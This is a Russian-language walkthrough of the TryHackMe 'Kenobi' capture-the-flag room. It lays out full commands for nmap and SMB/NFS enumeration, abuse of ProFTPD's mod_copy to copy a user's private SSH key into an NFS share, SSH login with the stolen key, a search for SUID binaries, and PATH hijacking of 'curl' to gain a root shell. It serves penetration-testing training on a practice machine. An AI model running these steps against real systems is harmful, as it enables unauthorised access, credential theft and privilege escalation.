Перейти к содержанию

Kenoby


Основная задача - разведка через SMB, внедрение через эксплуатацию уязвимостей, эскалация прав через бинарники с SUID правами.
Описание задания можно найти на TryHackme

Сканирование

Проведение разведки с nmap на предмет наличия открытых портов:

sudo nmap -T4 -p- IP-ADDRESS

Обнаружены открытые порты 80, 111, 22, 21, 445, 139, 42729

Сканируем со стандартными скриптами для определения версий сервисов, ПО и прочей информации:

sudo nmap -A 111,80,445,22,21,139,42729 $IP-ADDRESS

Получаем сведения о версии ProFTTPD сервера.

Проводим enumeration SMB с помощью стандартных nse скриптов:

nmap --script=smb-enum-shares.nse,smb-enum-users.nse -p 445 $IP-ADDRESS

Работа с SMB

Подключаемся к шаре

smbclient //$IP_ADDRESS/anonymous -N

получаем файл log.txt в котором находим информацию о том, что ранее был сгенерирована пара ключей, очевидно для доступа через ssh.
Кроме того, получена информация о ProFTPD серверве и об NFS который работает через 111 порт с помощью RPC.

Дополнительное сканирование NFS

Проводим enumeration NFS:

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount $IP_ADDRESS

Получаем информацию о том, что /var смонтирована в NFS.

Поиск и эксплуатация уязвимости ProFTPD

В exploit-db находим уязвимость ProFTPD модуля mod_copy_module.
Этот модуль позволяет копировать файлы из одной директории в другую на ProFTPD сервере без авторизации на самом сервере. Осуществляется это с помощью команд SITE CPFR (источник) и SITE CPTO (назначение).

Так как директория /var расшарена через NFS, установим значение SITE SPFR в ~/.ssh/id_rsa , а SITE CPTO в /var/id_rsa.

Далее монтируем /var с удаленной машины к себе:

mkdir /mnt/kenobiNFS
mount machine_ip:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS

Выставляем права chmod 600 /mnt/id_rsa и подключаемся к системе:

ssh -i /mnt/id_rsa kenoby@$IP_ADDRESS
Ищем бинарники с SUID/GUID правами:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Находим несвойственный бинарник /usr/bin/menu

С помощью strings просматриваем текстовое содержимое /usr/bin/menu находим то, что она вызывает:

curl -I localhost
uname -r
ifconfig

Видно, что вышеуказанные бинарники определены в составе /usr/bin/menu без абсолютного пути, следовательно мы можем их подменить.

Делать будем через добавление в PATH нужной директории, куда поместим нужный payload вместо curl.

cd /tmp
echo /bin/sh > curl
chmod 777 curl 
export PATH=/tmp:$PATH
Запускаем /usr/bin/menu выбираем пункт с curl -> получаем root shell